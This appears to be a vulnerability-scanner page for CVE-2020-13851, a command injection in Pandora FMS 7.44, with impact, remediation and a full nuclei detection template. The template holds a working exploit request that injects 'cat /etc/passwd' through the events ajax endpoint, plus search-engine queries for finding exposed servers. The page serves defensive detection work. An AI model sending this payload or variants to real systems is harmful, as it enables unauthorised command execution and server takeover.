Artica Pandora FMS 7.44 - Remote Code Execution

highseverity

8.8CVSS score

91%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Artica Pandora FMS 7.44 allows remote command execution via the events feature.

Impact

Unauthenticated attackers can execute arbitrary system commands via the events feature, leading to complete server compromise and access to all monitoring data.

Fix

Upgrade to Pandora FMS version 7.45 or later, or apply vendor-provided security patches.

How to confirm it

Send: POST /pandora_console/ajax.php?page=include/ajax/events&perform_event_response=10000000&target=cat+/etc/passwd&response_id=1
Positive when: matches /root:.*:0:0:/ AND contains in header "text/html" and "PHPSESSID=" AND status 200

Run it with nuclei: nuclei -id CVE-2020-13851 -u <target>

The full check

id: CVE-2020-13851

info:
  name: Artica Pandora FMS 7.44 - Remote Code Execution
  author: theamanrawat
  severity: high
  description: |
    Artica Pandora FMS 7.44 allows remote command execution via the events feature.
  impact: |
    Unauthenticated attackers can execute arbitrary system commands via the events feature, leading to complete server compromise and access to all monitoring data.
  remediation: |
    Upgrade to Pandora FMS version 7.45 or later, or apply vendor-provided security patches.
  reference:
    - https://packetstormsecurity.com/files/158390/Pandora-FMS-7.0-NG-7XX-Remote-Command-Execution.html
    - https://nvd.nist.gov/vuln/detail/CVE-2020-13851
    - https://www.coresecurity.com/advisories
    - https://github.com/hadrian3689/pandorafms_7.44
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2020-13851
    cwe-id: CWE-78
    epss-score: 0.90993
    epss-percentile: 0.99809
    cpe: cpe:2.3:a:pandorafms:pandora_fms:7.44:*:*:*:*:*:*:*
  metadata:
    verified: "true"
    max-request: 1
    vendor: pandorafms
    product: pandora_fms
    shodan-query:
      - title:"Pandora FMS"
      - http.title:"pandora fms"
    fofa-query: title="pandora fms"
    google-query: intitle:"pandora fms"
  tags: cve2020,cve,packetstorm,rce,pandora,unauth,artica,pandorafms,vuln,vkev

http:
  - raw:
      - |
        POST /pandora_console/ajax.php?page=include/ajax/events&perform_event_response=10000000&target=cat+/etc/passwd&response_id=1 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - 'root:.*:0:0:'

      - type: word
        part: header
        words:
          - "text/html"
          - "PHPSESSID="
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from